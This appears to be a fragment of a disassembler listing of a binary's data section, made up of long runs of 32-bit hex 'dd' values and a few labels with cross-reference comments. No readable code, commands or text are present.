		dd 188F0034h, 5A662232h, 8721128Eh, 6FD1F685h, 94A65FC2h
		dd 0D5E74252h, 76F9E8DBh, 74125AB2h, 9B332C53h,	75069941h
		dd 0CAE67052h, 9E00E916h, 0A09925E8h, 13CE13CBh, 157F9E3Dh
		dd 18F8832h, 0F5664432h, 0A2DE6EF3h, 446BC336h,	2CA8F62Eh
		dd 0D2385F84h, 987D9787h, 0BD5CD2B7h, 14E08734h, 0E0664432h
		dd 9069F2CDh, 1566113Fh
		dd 156680DBh, 0AE0D0C32h, 0A7C81F8Dh, 15E39899h, 0ED6027B3h
		dd 0B3C1F4h, 7525249Ah,	14EE1ECBh, 0E0668832h, 7B9A2C53h
		dd 43069EBCh, 19A89054h, 1A07D16Ch, 156645B8h, 0A099DE32h
		dd 13CE20CBh, 156061C7h, 0E4EE4432h, 996A6405h,	2FA594BFh
		dd 9A698E9Ah, 1566442Bh, 156636DBh, 63155132h, 0E22744F4h
		dd 7B02D27Eh, 9018376Eh, 16CC7B11h, 0FCB67727h,	15664435h
		dd 930685ACh, 9CB9E14Ch, 0BAE78CB7h, 1C8FBC34h,	74662232h
		dd 499E8B31h, 3DB7374Dh, 0B3C1F4h, 7535249Ah, 0CBEDB983h
		dd 2BCCE053h, 0EA9A8222h, 0BD57DB87h, 128F7134h, 64668832h
		dd 99D980BDh, 58E62F3h,	0F4661132h, 0CDBA7118h,	77F5D501h
		dd 0A8415AAFh, 94EB6A6Ah, 0F5AC87F8h, 98071D7Ch, 0BD5CE1B7h
		dd 2EC1E34h, 0FC668832h, 15664420h, 0CA4E6E63h,	6FCA7F46h
		dd 7C016DD5h, 9DC877CDh, 0C59974F6h, 1574993Dh,	188F8832h
		dd 2D664432h, 62125413h, 6347298Ah, 2DDEFF46h, 946EC1BBh
		dd 9E69249Dh, 1566113Ah, 0B5AC0952h, 7460795Ch,	126F9FB1h
		dd 1A66179Ah, 156557B6h, 1A062432h, 67D6F885h, 78F7153h
		dd 0E1668832h, 84D791E5h, 3C1CD453h, 0D0D8ADCEh, 2417747Eh
		dd 0EC0725B6h, 0B3A7F4h, 1A20179Ah, 1566A0BBh, 1C8F2432h
		dd 72662232h, 3FA12C5Ch, 74CC08DDh, 156656DAh, 4268F32h
		dd 67BB0CE2h, 0F6159363h, 0EF54E935h, 4CDCFB2Eh, 0DB577953h
		dd 1E8F72A4h, 0B0664432h, 6DA4716Ah, 0F008CEF0h, 0A09974FAh
		dd 13CE75CBh, 11EE2D52h, 73661132h, 1AE8D888h, 156641B4h
		dd 0CBE74432h, 980790DCh, 0BD5C4BB7h, 0D6E72434h, 2A199CAFh
		dd 156600DBh, 0BF4CC032h, 0BE213671h, 0B2FA0513h, 3F552A6Ch
		dd 0EA0764D1h, 90EFB8E2h, 13C9A356h, 157E9B3Dh,	73068832h
		dd 1B8F95B9h, 28662232h, 0F07483AAh, 0A2090696h, 1903E187h
		dd 90A043C7h, 13CE04E7h, 0C30E7174h, 0E99AE308h, 249F97CDh
		dd 9F69179Ah, 15668825h, 1577CC3Dh, 198F2232h, 70661132h
		dd 0AD3DF9F4h, 86C6ADEEh, 98FA9FB1h, 0BD5CD2B7h, 15756134h
		dd 0D59E4432h, 200515B6h, 0EAF716A5h, 0CB3C3199h, 1F23EA34h
		dd 75B6DD83h, 0FBE77764h, 1A3C343Bh, 15665DB6h,	1572CB32h
		dd 0A7EC1132h, 6B1E463Dh, 0DAE027C0h, 6182402Ah, 919EA36Fh
		dd 9C077C1Dh, 0BAE730B7h, 156FCB34h, 7D951132h,	114D5295h
		dd 0D3DE6EB4h, 0BD73F7B7h, 90695734h, 1566883Dh, 15664EDBh
		dd 107AC432h, 0F5D8A0CAh, 7DA14034h, 879AE032h,	9E004252h
		dd 156FF8C0h, 0B6ED8832h, 133753F4h, 74638EDDh,	15661BDBh
		dd 0ECBE7A32h, 38BF8DA0h, 74F9DEE0h, 249FA4CDh,	989E8E9Ah
		dd 0BD5C87B7h, 0EDED4234h, 749F9A54h, 470658CDh, 4DB7CF54h
		dd 6DE3AB53h, 1A60BEB3h, 156689B9h, 90A0BD32h, 13CE37E7h
		dd 0AA697174h, 7D077DF2h, 0E3B20B58h, 1570A73Dh, 90691132h
		dd 15668822h, 15664FDBh, 0C57EE32h, 3999ED80h, 7E2F558h
		dd 249FF1CDh, 9069249Ah, 15661133h, 90EB71C7h, 13CE7EF1h
		dd 156AAE3Dh, 91691132h, 15668834h, 1566C13Dh, 0C5992232h
		dd 156C9D3Dh, 94068832h, 242FE9D8h, 74109364h, 1573953Dh
		dd 93698832h, 1566443Dh, 156628DBh, 15A49A32h, 0F5808986h
		dd 9CF711ACh, 0BAE75EB7h, 90A0ED34h, 13CE9DE7h,	1572AD74h
		dd 32522232h, 0D013974Bh, 2D3BC2C3h, 0F6902CBEh, 31E742EAh
		dd 0F20EBEC9h, 1AF24562h, 156651B8h, 1576CB32h,	0A2381132h
		dd 0C52DD3E8h, 0D5CED1C5h, 24C8D866h, 0A099C419h, 13CEB9CBh
		dd 15664CDBh, 0EFF2C532h, 75D9D9DCh, 0D6E3055Ch, 0E960EC08h
		dd 9406F2CDh, 0FCE5C1EAh, 0DCD18723h, 7DE3CD53h, 1A608DB3h
		dd 156616B6h, 14E28732h, 0ED664432h, 0B3A7F4h, 7520179Ah
		dd 91783254h, 31ACC554h, 2E0E4302h, 0E0D73346h,	1577063Dh
		dd 198F4432h, 80662232h, 721D6BAAh, 0E40D669Dh,	0EA3EFB02h
		dd 0BD57DB87h, 90EBE834h, 13CEB2F1h, 58E1452h, 9A662232h
		dd 2D7A1ADCh, 0DEE95607h, 8247FF97h, 4E169161h,	96A5AB6Ah
		dd 0EA07DA44h, 1577ADE2h, 0D88D2232h, 6F60B3A8h, 0CCAEB0EBh
		dd 0B510F16Ch, 9C85A894h, 0BAE77DB7h, 90A07D34h, 13CE51E7h
		dd 156ECB74h, 0BAA91132h, 0DFEFA534h, 0F80E9B21h, 0FCB95BD8h
		dd 15661137h, 0C4398158h, 0ECD3BB7Ah, 0EC608A03h, 0D6E39CCBh
		dd 1A602008h, 156656BDh, 138F4232h, 7661132h, 810CC560h
		dd 0DFE722CDh, 0EA07285Dh, 7E11EE2h, 0FC668832h, 1566443Fh
		dd 3BC511D0h, 0B34A6A3Bh, 560F8BACh, 65E3CD09h,	75608DB3h
		dd 15661DDAh, 17982232h, 179183B2h, 1955E74Dh, 156BF8F9h
		dd 0A3E18832h, 0F5158EDBh, 0A0318097h, 4ED620F7h, 74B446B2h
		dd 153FF9B1h, 1A66249Ah, 156694B7h, 156C6132h, 0D9AE4432h
		dd 472EA6B1h, 0BDCDA1E9h, 0B30DF4h, 0EC35429Ah,	0AB867C5Ah
		dd 943171FCh, 0D4FE4BE5h, 58E1D49h, 0C5662232h,	7A7A6135h
		dd 9EEEF307h, 0A36E5D45h, 73754396h, 743CEFB9h,	0ECD377C7h
		dd 1A60EC03h, 15663FB7h, 2E21E32h, 0FC668832h, 15664420h
		dd 0E6A41F2h, 0AAB0809Eh, 12B633DCh, 20095842h,	90EBAA49h
		dd 13CE2BF1h, 8C820852h, 35EBA2B3h, 0EA075ACCh,	90EFE4E2h
		dd 13C9093Eh, 90A02552h, 13CE37E7h, 7D9FE475h, 0D2D7D6B5h
		dd 16E94B52h, 73662232h, 68FC1B9h, 0FF668832h, 91E09284h
		dd 0E6F1E39Fh, 769BE8BFh, 23D96649h, 0EA07CC30h, 0BD57DB87h
		dd 2E11E34h, 75668832h,	15664ADBh, 50BC6332h, 997D3D8Ch
		dd 6777FAAFh, 9E32A5EFh, 90EB43C5h, 13CE2BF1h, 156682DBh
		dd 33850032h, 27908B67h, 1A6114A7h, 156687BEh, 156CAD32h
		dd 0EBF32232h, 0CC44CDE9h, 9322A62h, 936994CDh,	1566221Fh
		dd 156BF952h, 0F93F8832h, 4470E504h, 8358FEC5h,	4EF6B7E4h
		dd 15669BDBh, 0F17D4032h, 2F1B7A7Dh, 28464425h,	1EB7A8ABh
		dd 0FED08D0Bh, 90EFD753h, 13C99022h, 0D7F13052h, 9D690BF4h
		dd 15662231h, 74A49A54h, 153F35B1h, 1A66429Ah, 156654B7h
		dd 1561F832h, 0D798832h, 0B692BDE0h, 0C0E3E48Bh, 5260B927h
		dd 0ECECE8CAh, 100E25CEh, 7580404Ch, 83BF9054h,	0EFD18793h
		dd 0ECD3BB53h, 0FC608A03h, 15661138h, 0CE62A696h, 493ECC00h
		dd 9893686Dh, 0BD5CD2B7h, 0CFE7E834h, 0D1E3583h, 75B6DD53h
		dd 1565973Dh, 0E2E68832h, 39AFC4C3h, 1E3AB53h, 7560BEB3h
		dd 156C0E3Dh, 108F4432h, 17662232h, 0ECB70F90h,	0D3077B80h
		dd 0BD7391B7h, 7D936134h, 871C18C4h, 0A269E8CEh, 0A09925EDh
		dd 13CE13CBh, 0D6E39CCBh, 0ED602008h, 9E6994CDh, 1566223Ah
		dd 15649A3Dh, 74068832h, 947EC1BBh, 9969249Dh, 15661120h
		dd 156685DBh, 2A2A0A32h, 46A7F384h, 627CD887h, 1E8F223Ch
		dd 26664432h, 0CDB41345h, 7644DFEBh, 90A0C604h,	13CE51E7h
		dd 1DE22D71h, 75661132h, 0D3593054h, 7D071A62h,	0E947B512h
		dd 156605DBh, 27BFAC32h, 2A769BCh, 782C8390h, 0E884DB2Ch
		dd 0DBD7A0ACh, 0ECD3BBF8h, 0E0608A03h, 2FA594BFh, 94068E9Ah
		dd 0D60A07F2h, 5BBCA324h, 7404B2BCh, 9C9358CDh,	0BAE758B7h
		dd 0A8E5DE34h, 13CE116Bh, 17E38732h, 1A664433h,	15663ABEh
		dd 1575F832h, 551B8832h, 5D2268F3h, 301900A0h, 5CA1B347h
		dd 1F3C4519h, 0C0E38262h, 56608A27h, 156602DBh,	672F4432h
		dd 31F74E17h, 47AEA979h, 0A984D269h, 1D728F96h,	15CE475Ah
		dd 916942B9h, 15661120h
		dd 156685DBh, 0E3A18D32h, 0F530FB62h, 2A1715Ch,	749EFD6Ah
		dd 249FF1CDh, 0E906249Ah, 15661ADBh, 0A7F9ED32h, 0AC89DD00h
		dd 7B2DBB24h, 0D6E39C53h, 1A602008h, 156645B6h,	0C599D732h
		dd 31E398CBh, 0E96027B3h, 0B3C1F4h, 0ED25249Ah,	4E50C45Ah
		dd 157661D7h, 94604432h, 815743A0h, 4B00B4EEh, 0E44E5616h
		dd 0A0994CE5h, 13CE13CBh, 0D6E39CC7h, 75602008h, 4A9ECF64h
		dd 7507C283h, 1A7CD6B2h, 15668EB7h, 15E44B32h, 74662232h
		dd 9406C1CDh, 6E1BD8D2h, 90EF2504h, 13C9A312h, 0FC51A352h
		dd 15668826h, 0E1123928h, 8E624C4Eh, 64D16A18h,	0AFDE51C8h
		dd 6EDA23C0h, 0C0E3E453h, 5660B927h, 156686DBh,	718DC32h
		dd 1C492DABh, 0A32E5958h, 7DE2F0D6h, 0FFCC76D3h, 15662DDBh
		dd 0F3B62532h, 0CF4FA833h, 0A21BAB2Fh, 7F6C9681h, 249FA4CDh
		dd 18F8E9Ah, 19664432h,	0C5906525h, 78B2A63Ah, 84E141CAh
		dd 929ADE4Dh, 9864DC98h, 0BD5CD2B7h, 1B8F7034h,	0B2664432h
		dd 51C53337h, 0CDDBB6E3h, 8F5F1218h, 75B6BBC4h,	156BA73Dh
		dd 128E1132h, 58668832h, 0F7FCC9C8h, 1A3D4F1Fh,	9C07D185h
		dd 0BAE7A0B7h, 1560AD34h, 4FD2232h, 944F78CBh, 0B30DF4h
		dd 0EC25429Ah, 0E4CA155Ah, 1BE81EB6h, 75668832h, 1566C63Dh
		dd 0FAE72232h, 5E220B2Ch, 15696153h, 26D24432h,	75A5837Fh
		dd 0A048A6F0h, 9C9C49F4h, 0ECD3BBABh, 75608A03h, 156614DBh
		dd 0CEBE7C32h, 4E344794h, 0D6E3AF53h, 1A60B908h, 156698BBh
		dd 156DAD32h, 0AB7D2232h, 1D360E98h, 81978F05h,	0FCB6BB2Eh
		dd 15662235h, 801CDB34h, 75A9C68Fh, 156649DBh, 0DF5C1C32h
		dd 0F510E454h, 91C79C7Ch, 9E69F6F4h, 15662237h,	2C2F768Dh
		dd 90EFE974h, 13C9C51Eh, 15662FDBh, 0C1E46D32h,	9014613Ch
		dd 18C9D89Dh, 90A0A67Eh, 13CE04E7h, 0AA00E87Dh,	7D0749B9h
		dd 8253B2E6h, 0D4D11E52h, 741B7AB2h, 249FF1CDh,	989F249Ah
		dd 0BD5CD2B7h, 15606134h, 21624432h, 0ECECD628h, 0FCB6EECAh
		dd 15668835h, 0AD5AB303h, 1A8934B5h, 156601B9h,	156D6132h
		dd 8D854432h, 71BD447Ah, 0AF60F36Fh, 25E30102h,	1A60EBB3h
		dd 15662EBCh, 13E81E32h, 1A668832h, 156644BFh, 0C0E3E432h
		dd 5A60B927h, 0D2EDEE52h, 74ADFB3Dh, 7B68205Ah,	1577F8CBh
		dd 0DDAC8832h, 9B71D949h, 178F9C4Ah, 8DD218C3h,	0EA1EF8B1h
		dd 0BD57BD87h, 0ACDD4234h, 0FC4B9A79h, 15668835h, 7AEC1E7Fh
		dd 74163C01h, 2FA594BFh, 99698E9Ah, 1566443Eh, 1560A73Dh
		dd 94691132h, 15668832h, 75B6BBCBh, 0DED12D64h,	90EF706Bh
		dd 13C90906h, 156656DBh, 1C95D132h, 1F889D44h, 50CAA75Eh
		dd 37865E2h, 0D3D8A492h, 0BD73C4B7h, 1E8FC534h,	7C664432h
		dd 989D701Ah, 44BFB4A3h, 5C0E8982h, 0FCAE734Bh,	1566223Bh
		dd 6B3CC8CEh, 0F346D04Eh, 0ECD3BBA3h, 0FC608A03h, 1566113Dh
		dd 0F22CEB64h, 69BA79C7h, 96251304h, 98B0AC5Fh,	0BD5C4BB7h
		dd 1577AD34h, 0D30E2232h, 576D156Ch, 0F7F83F80h, 0F93E7C7Bh
		dd 0EAF38315h, 0FC06EDE2h, 15668820h, 42F2063Fh, 29640015h
		dd 90B27EA7h, 346F4C63h, 9536A527h, 7438E1D8h, 945A94BBh
		dd 94068E9Dh, 81AE56D0h, 0AA697458h, 0D30748E3h, 0BD735DB7h
		dd 7D9F0934h, 0C9916FBBh, 0FFE77752h, 75071871h, 1565CD3Dh
		dd 0AA692232h, 0A09970CBh, 13CEB9CBh, 0D6E3C9C7h, 75608A08h
		dd 0E340D6B3h, 9AD7B982h, 75B6BB53h, 0AE6BE9B2h, 6F55C314h
		dd 15686153h, 0C6494432h, 0ABEA042Ah, 419148A7h, 1E3567E1h
		dd 945EC1BBh, 0D39F249Dh, 0BD73C4B7h, 9506DD34h, 9C691AFEh
		dd 15662232h, 38517953h, 9F691429h, 15664420h, 0FD074252h
		dd 1566113Ah, 38F5829Dh, 176FB3C6h, 0A099436Ah,	13CE20CBh
		dd 0D6E305CEh, 7560EC08h, 1571A73Dh, 78F1132h, 0EC668832h
		dd 11AE59AFh, 35C5AFFFh, 0A80FE449h, 1DE615C8h,	1560AC75h
		dd 47E82232h, 2EC4323h,	95E8BC8Dh, 0EA071C04h, 1EEC2DE2h
		dd 75661132h, 15660A3Dh, 0FBE64432h, 976943E7h,	15661133h
		dd 55E301CAh, 1A60EBB3h, 15662AB2h, 17EA1E32h, 75668832h
		dd 90A0BC53h, 13CE37E7h, 3F0EE971h, 0ECB45DC2h,	249FF1CDh
		dd 1A06249Ah, 156614B5h, 79CA3732h, 0B9D919FCh,	7456197Ah
		dd 2FA594BFh, 97698E9Ah, 1566443Ah, 1564AE3Dh, 74061132h
		dd 48F58CDh, 7D664432h,	1E627CF4h, 8BD1A370h, 4D5EC1D0h
		dd 80C763DEh, 9422A7BBh, 9069179Dh, 15668824h, 156655DBh
		dd 2ECC5032h, 0AE7C941Dh, 179465Eh, 18355DB2h, 90A04A9Ah
		dd 13CE04E7h, 0FF0E7160h, 0FC9B0686h, 15662221h, 3CC94933h
		dd 0C9A407EDh, 1A4E5829h, 42E52F76h, 0EDA8DE3Eh, 249F3DCDh
		dd 9406429Ah, 1D00CEC5h, 10EF1E57h, 73668832h, 34DF96B3h
		dd 0D6E3AF53h, 0FC60B908h, 15668820h, 41F188EEh, 0BA9E0181h
		dd 76BD527Bh, 9ADAF3CBh, 0C5994D6Bh, 84E3ABCBh,	0FC60B906h
		dd 15668838h, 579FEC36h, 0D74CF27Ah, 90A0749Bh,	13CE9DE7h
		dd 9569BC75h, 15662221h, 156B9D3Dh, 1D8F8832h, 4664432h
		dd 1F91FD93h, 7DE7C7F9h, 0F7FED1ABh, 156ECE3Dh,	95062232h
		dd 9E00EBF4h, 0A099E9FDh, 13CE75CBh, 156636DBh,	94668432h
		dd 0AA2B31F6h, 3F1428ADh, 93966D5Eh, 179028BCh,	0D6E305FAh
		dd 1A60EC08h, 15662EBDh, 13E01E32h, 1A668832h, 156644B2h
		dd 0C599D732h, 156619DBh, 0B9B1BD32h, 0D23F81FFh, 18EC2D74h
		dd 0FC661132h, 1566883Ah, 0FA9805C7h, 7BE0F226h, 942E94BBh
		dd 73068E9Dh, 9E0086B9h, 198F43C3h, 16661132h, 36BD8B82h
		dd 0F47A2652h, 0D38DE257h, 0BD73C4B7h, 7D9ECF34h, 0A49B24F0h
		dd 1575CB52h, 2D4F1132h, 6BD1B8Ah, 0C9BAD9ECh, 4A6063DFh
		dd 2C721786h, 9369E8FEh, 15664432h, 156625DBh, 0F20A1332h
		dd 73B75D45h, 0A0992553h, 13CE13CBh, 15679E3Dh,	0ED938832h
		dd 2FA5C1BFh, 0ED9A249Ah, 9C93C1CDh, 0BAE7C4B7h, 1CEB4B34h
		dd 75662232h, 19D84B60h, 74534D3Fh, 0B3C1F4h, 0ED21249Ah
		dd 0B398055Ah, 7E187EDh, 0FC664432h, 1566223Fh,	0DE7CE480h
		dd 9AF487F4h, 7C26D1EDh, 0ECD3DDE0h, 0E060B903h
		db 0BFh
byte_5C3A41	db 0Dh,	0A5h		; DATA XREF: ___:off_438438o
byte_5C3A43	db 2Fh			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 0EA93429Ah, 1561CBE2h, 85A21132h, 0C925343Dh, 45E3CDB8h
					; DATA XREF: ___:off_43A568o
		dd 0FC608DB3h, 15661122h
		dd 0F81A417Dh, 0EF8900D3h, 0BFB3F485h, 3235356h, 0B30DF4h
		dd 1A39429Ah, 156625B7h, 14EE1E32h, 0ED668832h,	0E70E2CCBh
		dd 0EC06BC62h, 156614DBh, 0FD344732h, 1A07CA2Dh, 156637B0h
		dd 1576F832h, 0E21A8832h, 7ACD4193h, 158840B8h,	36942F12h
		dd 0A099F5DBh, 13CE75CBh, 0D6E3AFCBh, 7560B908h, 0D92D52B3h
		dd 0CDED4A7Dh, 1569CB53h, 8C8A1132h, 0C0CE7863h, 22C4813Eh
		dd 0EA5FDBF3h, 1AB6EE71h, 15668FB2h, 14EB4B32h,	0ED662232h
		dd 943294BBh, 0D3938E9Dh, 0BD7391B7h, 68F6D34h,	30661132h
		dd 0FC343EFCh, 69DA9EBCh, 7BF02424h, 0AFF7394Ch, 2A0EC153h
		dd 75A1B849h, 1560AC3Dh, 97691132h, 15668832h, 6DF1FC65h
		dd 7439025Dh, 249FA4CDh, 46068E9Ah, 0FC391385h,	1566223Eh
		dd 72AE377Eh, 741C76E0h, 0D399D2BBh, 0D6E3AF53h, 0FC60B908h
		dd 15668839h, 7E9A9A22h, 152D092Dh, 1A37B395h, 156689B2h
		dd 0C599B132h, 157FAA3Dh, 98691132h, 15668821h,	15664ADBh
		dd 442D1832h, 0ECABA9E0h, 1A57C28Fh, 9C95BC65h,	0BAE7A2B7h
		dd 90A0ED34h, 13CE9DE7h, 156FAD75h, 0CC52232h, 0D979E7DEh
		dd 7DC0827Ah, 0EF3D2A7Eh, 1574AA3Dh, 188F1132h,	6A668832h
		dd 0E68B62D9h, 0C42D98F1h, 0F9FAEF2Eh, 0DDBA0852h, 74A6F33Dh
		dd 249F97CDh, 78F179Ah,	8F668832h, 432443C0h, 5373D6E9h
		dd 4E517D40h, 51DE04h, 0D6E3C995h, 0FC608A08h, 15661135h
		dd 0E2E137B7h, 0EA9B2270h, 17EA2DE2h, 75661132h, 91E30153h
		dd 0E060EBB3h, 0B3A7F4h, 0ED21179Ah, 1342455Ah,	0A099B1F1h
		dd 13CE13CBh, 0D6E39CCBh, 1A602008h, 15665ABDh,	48F4232h
		dd 52661132h, 8FAFBD87h, 3CDE7A14h, 54235DB0h, 0DF4A4E1Ch
		dd 7F0962B3h, 0EA073205h, 0EF2DE2h, 0FC661132h,	15668822h
		dd 39D56BEBh, 9A87440Ch, 77E76786h, 0BD0166C1h,	94EEC1BBh
		dd 0FC06249Dh, 15661137h, 6DAC44F3h, 7463F088h,	0B3A7F4h
		dd 0FC39179Ah, 1566883Bh, 38A55816h, 0D1500BD6h, 75AA7946h
		dd 48F5C89h, 9F664432h,	0C8449A83h, 0E13704A3h,	0D2F0AE9h
		dd 9F2437FEh, 0ECD3DDCEh, 0FC60B903h, 15668839h, 0A4F6E2E4h
		dd 7C2C27F4h, 98C50D36h, 0BD5C4BB7h, 2EC4B34h, 75662232h
		dd 1566943Dh, 1F8F8832h, 78664432h, 0B8A635CDh,	0BC493E37h
		dd 0C599E95Ah, 1567C63Dh, 9C932232h, 0BAE749B7h, 90A07134h
		dd 13CE51E7h, 1BE32D6Dh, 75661132h, 1566093Dh, 0E6E74432h
		dd 35D020B7h, 5B0EED53h, 1AF86166h, 15664BB5h, 156CCB32h
		dd 0D4661132h, 0C078F6DEh, 432F9C10h, 0ECD3DDCEh, 0FC60B903h
		dd 15668822h, 0B1A2A2DFh, 0A8ECA23Dh, 0F07EB92Fh, 55882A00h
		dd 2FA5C1BFh, 9169249Ah, 15661133h, 75B677CEh, 0C0E69DB9h
		dd 90EF434Eh, 13C9906Eh, 156680DBh, 0F163A432h,	2111E2B3h
		dd 0C0E3D79Dh, 4A602027h, 1561C03Dh, 94692232h,	15661133h
		dd 3D2EE0CEh, 94699521h, 15662234h, 0C3B49152h,	0A099E9C7h
		dd 13CE75CBh, 0D6E3AFCAh, 0ED60B908h, 1B8F58CDh, 89664432h
		dd 0BEF7B953h, 0ED33EE89h, 0BD87E1D3h, 75E3CDDEh, 0ED608DB3h
		dd 15661BDBh, 76EFDC32h, 0BB302B95h, 7F3AC367h,	1569F836h
		dd 0D7258832h, 702FFD3Ah, 455E33CAh, 0B45ADF39h, 566E02Eh
		dd 0FD064432h, 15662239h, 0F6B3284Dh, 61F0D473h, 94F9C365h
		dd 0C0BFD5FAh, 1A064F3Bh, 156688B2h, 7498CF32h,	5664A53h
		dd 0FC061132h, 1566883Dh, 746298D7h, 0BFF235C1h, 0DE875BBFh
		dd 739DB755h, 74B4E489h, 1A062258h, 0AA69E18Dh,	8099E9E8h
		dd 13CE648Fh, 0A0DE42CAh, 745E1C9Eh, 18530DBBh,	0A706429Ah
		dd 10E82DE5h, 73661132h, 21377EB3h, 22E3C953h, 0FC608D7Ah
		dd 15661138h, 6AEDF85Eh, 0D62911E6h, 0C599B444h, 1575943Dh
		dd 92698832h, 1566443Fh, 15662ADBh, 7A008532h, 95B3DEDh
		dd 75622E98h, 0FA759954h, 0FC3E4152h, 1566883Dh, 2F63B290h
		dd 5007FC7Dh, 255DF441h, 741B15ABh, 5662C53h, 9A692232h
		dd 15661135h, 15670A3Dh, 7D9F4432h, 15660232h, 15769B3Dh
		dd 1E8F8832h, 0FD664432h, 882529A1h, 47AFECDDh,	150C1CA0h
		dd 15664EDBh, 9A7CD332h, 0EEE317E5h, 0EADD815Ch, 0BD46F9A7h
		dd 8BDF4234h, 0FD3D5DC3h, 15668837h, 8C87CC93h,	1A077B8Eh
		dd 156604BEh, 15766132h, 1314432h, 3C7CC1AAh, 62BAEF6Eh
		dd 0C8830D02h, 90EF1578h, 13CE38A3h, 24E398CBh,	0FC60202Ch
		dd 15664438h, 3F6FCDDBh, 0AF303263h, 550CEAD2h,	156657DBh
		dd 78F4F732h, 1EECCFC4h, 5140A8AAh, 144B8A18h, 0F5CB5F6Fh
		dd 1576115Ah, 150E7D32h, 75664532h, 15E82D60h, 4D661132h
		dd 74B10354h, 0EA9A4458h, 0BD469FA7h, 90EFE934h, 13CEBADFh
		dd 7CD3CFC7h, 0ED608A29h, 0A238CB9h, 9E698E9Ah,	15664435h
		dd 1567AA3Dh, 9C931132h, 0BD7C3987h, 19EA4B34h,	0FC662232h
		dd 15661135h, 408EA0DDh, 9C86B589h, 0BD6A63AFh,	1577F834h
		dd 0CD228832h, 0BAE1E3B9h, 0BFDCE2BCh, 65E27A01h, 9ECD2E41h
		dd 0BD7901AFh, 96694234h, 15661137h, 7BAC0954h,	7467F29Ah
		dd 156625DBh, 96BE1D32h, 11D5902h, 19ED77CDh, 11A2A116h
		dd 159F92CBh, 2C6C0C3Dh, 108F4432h, 0D662232h, 0C44FC8FFh
		dd 1533CE5Ah, 3162CD32h, 156628DBh, 81CF4232h, 3FBDD4C6h
		dd 7D14EB09h, 15666E8Bh, 0E9421DBBh, 0D5577452h, 1570C23Dh
		dd 96692232h, 15661122h, 156683DBh, 0E5C55932h,	0D9CCAFB8h
		dd 0DC82DC57h, 15669ADBh, 0E424DC32h, 98528F7Bh, 8A1B5616h
		dd 5FF96528h, 9C2564A9h, 0BD685FB7h, 9C697134h,	15668832h
		dd 42076582h, 0FD5EF95Ah, 150E4E56h, 3C668832h,	0D439600Eh
		dd 0FAE725DDh, 14503E60h, 0EC3976BBh, 6B1CFC62h, 0D34F1B41h
		dd 3112126Ah, 6FA00912h, 0E95F374Ch, 156630DBh,	4C444D32h
		dd 0F425254h, 0C36D9CF6h, 4B5648F3h, 7352C8FCh,	156D619Fh
		dd 0E0164432h, 6509D3E2h, 76E97706h, 535FA5BFh,	5A6347D5h
		dd 1662317Eh, 38463576h, 1175C47Dh, 0F2207D37h,	1576CB31h
		dd 7FB41132h, 0A7629F91h, 6689B78Bh, 1602D345h,	0AC37035Dh
		dd 1566884Ah, 24ED8533h, 94422EB9h, 156615F6h, 9D697132h
		dd 1566443Ah, 1564A83Dh, 74061132h, 7E9A4EB3h, 0FBE769C3h
		dd 5790BEAh, 35426531h,	3CBE4EB3h, 0FBE7542Dh, 389749CEh
		dd 156601DBh, 360B0932h, 0E2DE4820h, 0AA776B5Fh, 0A5C1FF01h
		dd 0AC3774B5h, 1566442Ah, 2CEDD333h, 96421DB9h,	1D8F8CF6h
		dd 99664432h, 4CED3807h, 9CC307EFh, 0BD6DC98Fh,	1563AD34h
		dd 0E7DA2232h, 900710BBh, 33E387CDh, 75664432h,	156ACB52h
		dd 7BAE1132h, 16E7F18Ah, 5855F048h, 7406E193h, 0EEED7753h
		dd 4A146053h, 0FC9F4432h, 15662735h, 38E79CAh, 19EF8832h
		dd 94002416h, 95478DC5h, 420789F3h, 94429CB9h, 156640F6h
		dd 156DCB32h, 47B91132h, 4FAD1EAh, 42138C46h, 11B449ECh
		dd 60F398CBh, 1A60203Dh, 156648BFh, 13E12D32h, 1A661132h
		dd 156688B4h, 0FC622E32h, 15662223h, 4BF59C0Fh,	1278E8FDh
		dd 0ACA8BA8Ch, 82B8EF55h, 56679D4h, 128F8832h, 15664432h
		dd 45675406h, 9C36CB88h, 15628DD2h, 0FDE54432h,	3162A536h
		dd 3172986Eh, 1A66E2CBh, 156643BEh, 14E12D32h, 0EC661132h
		dd 1561043Dh, 9E694432h, 15662233h, 0A8F3EECAh,	0EC602012h
		dd 0BFBC1BBh, 9C69249Ah, 15661125h, 15669ADBh, 84DF4432h
		dd 54B3850Bh, 0FBB73C6Ch
		dd 59423C07h, 756208BFh, 156AAE3Dh, 128F1132h, 0D668832h
		dd 37F1BEFDh, 0AC007720h, 45079686h, 5142BCB3h,	4F4BB556h
		dd 71229A62h, 0D7573CC3h, 1577616Ah, 0B97D4432h, 0FBD9F4A3h
		dd 6561C189h, 6E53E72Eh, 0EA11CFBAh, 943F0606h,	156615F6h
		dd 0ED9FE832h, 14EE4B53h, 0EC662232h, 153856DAh, 7E48732h
		dd 0FC664432h, 1566223Fh, 19B8B1CCh, 68381936h,	0A5F6BB22h
		dd 118AA104h, 0EC4225BBh, 1572619Fh, 4DB54432h,	1A3436F3h
		dd 0CC14C45Ch, 0BD8FFCB2h, 5EB53416h, 109AED5Ah, 7B960141h
		dd 3142CC31h, 515FB65h,	0ED4F4CC2h, 1BEE1E6Dh, 75668832h
		dd 1566C13Dh, 90692232h, 15661132h, 249EB953h, 1A9E75F5h
		dd 156623B6h, 429FE932h, 29CB3765h, 69672336h, 4E392616h
		dd 29CBFAB3h, 9669EF36h, 15664433h, 16BA4AC7h, 29EF1132h
		dd 90697116h, 1566443Ah, 0BB6A352h, 740C777Fh, 0BB934802h
		dd 9369B947h, 15662224h, 156600DBh, 0E2CA2932h,	3DE554E3h
		dd 9EF7590Eh, 0AD9DC7Ch, 0FC06372Dh, 1566443Fh,	0C65C135Dh
		dd 7631F147h, 0E53AD327h, 15E84B7Fh, 74662232h,	0EAD11E52h
		dd 2199E9CBh, 0D1E51A16h, 0FAE7DE36h, 7C667EC0h, 90967B3h
		dd 0CA4F2077h, 909E5B3h, 0D2E77577h, 7C66E7C0h,	5D92252h
		dd 0D5D92D80h, 0F0EF4453h, 15624DB3h, 0F8E74432h, 15662236h
		dd 49423DB5h, 0E0429CBBh, 9C62A8B1h, 1A3C060Eh,	15661BB3h
		dd 0D3E7E832h, 4192D064h, 9E074352h, 0BD6B248Fh, 0EADF7434h
		dd 1A99BBCDh, 15662AB7h, 17E81E32h, 75668832h, 75A67553h
		dd 1A9D9D3Dh, 0E907D78Dh, 15DED863h, 9C664432h,	0E4677AF3h
		dd 1A3F10B8h, 15668EB4h, 74062432h, 25074352h, 1561F8FAh
